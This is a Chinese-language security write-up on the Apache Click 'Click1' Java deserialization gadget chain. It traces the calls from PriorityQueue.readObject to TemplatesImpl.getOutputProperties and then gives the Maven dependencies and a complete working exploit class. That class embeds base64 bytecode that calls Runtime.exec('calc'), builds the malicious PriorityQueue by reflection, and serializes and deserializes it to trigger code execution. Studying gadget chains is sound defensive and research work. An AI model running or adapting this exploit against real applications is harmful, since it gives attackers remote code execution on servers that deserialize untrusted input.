JAVA反序列化之Click1
Click简介
Click
是一个apache的一个JEE Web 框架,官网为:https://click.apache.org/ 。
分析
先看一下利用链
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
org.apache.click.control.Column$ColumnComparator.compare()
org.apache.click.control.Column.getProperty()
org.apache.click.control.Column.getProperty()
org.apache.click.util.PropertyUtils.getValue()
org.apache.click.util.PropertyUtils.getObjectPropertyValue()
java.lang.reflect.Method.invoke()
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
...
起点又是PriorityQueue
,通过其readObject
调用到org.apache.click.control.Column$ColumnComparator.compare
。
可以看到调用了column
属性的getProperty
方法,按照利用链可知这里的column
属性应为org.apache.click.control.Column
,继续跟进
获取了name
属性的值,并将其和row
作为参数传入getProperty
,跟进
利用链的下一节点是org.apache.click.util.PropertyUtils.getValue
,从代码中可以看到,当row
不是Map
类型的对象时,就会调用到getValue
方法
先对name
进行处理,然后就调用getObjectPropertyValue
方法
可以看到,调用了name
在source
中对应的getter
,也就是row
中对应的getter
,那么后续利用就清楚了。
EXP构造
看一下ysoserial
中的要求可知,需要的依赖除了click
还有servlet-api
,否则也是不能成功的
<dependency>
<groupId>org.apache.click</groupId>
<artifactId>click-nodeps</artifactId>
<version>2.3.0</version>
<scope>compile</scope>
</dependency>
<!-- Specifying the artifactId click-extras will include Click Extras in your project -->
<dependency>
<groupId>org.apache.click</groupId>
<artifactId>click-extras</artifactId>
<version>2.3.0</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>compile</scope>
</dependency>
构造EXP
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IOException {
//构造TemplatesImpl对象
byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//构造Column
Column column=new Column();
column.setName("outputProperties");
column.setTable(new Table());
//构造Comparator
Class columnComparatorc=Class.forName("org.apache.click.control.Column$ColumnComparator");
Constructor constructor=columnComparatorc.getDeclaredConstructor(Column.class);
constructor.setAccessible(true);
Comparator columnComparator= (Comparator) constructor.newInstance(column);
//构造PriorityQueue
PriorityQueue priorityQueue=new PriorityQueue<>();
priorityQueue.add("novic4");
priorityQueue.add("novic3");
//设置comparator
Field comparatorf=priorityQueue.getClass().getDeclaredField("comparator");
comparatorf.setAccessible(true);
comparatorf.set(priorityQueue,columnComparator);
//设置TemplatesImpl
Field queque=priorityQueue.getClass().getDeclaredField("queue");
queque.setAccessible(true);
Object[] objects= (Object[]) queque.get(priorityQueue);
objects[0]=templates;
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(priorityQueue);
oser.close();
System.out.println(ser);
ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
Object newobj=unser.readObject();
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}
看到
column.setTable(new Table());
设置table
是为了防止执行到compare
方法中的getTable
时获取不到table
对象而导致程序不能继续向下执行
参考文章
https://su18.org/post/ysoserial-su18-5/#click1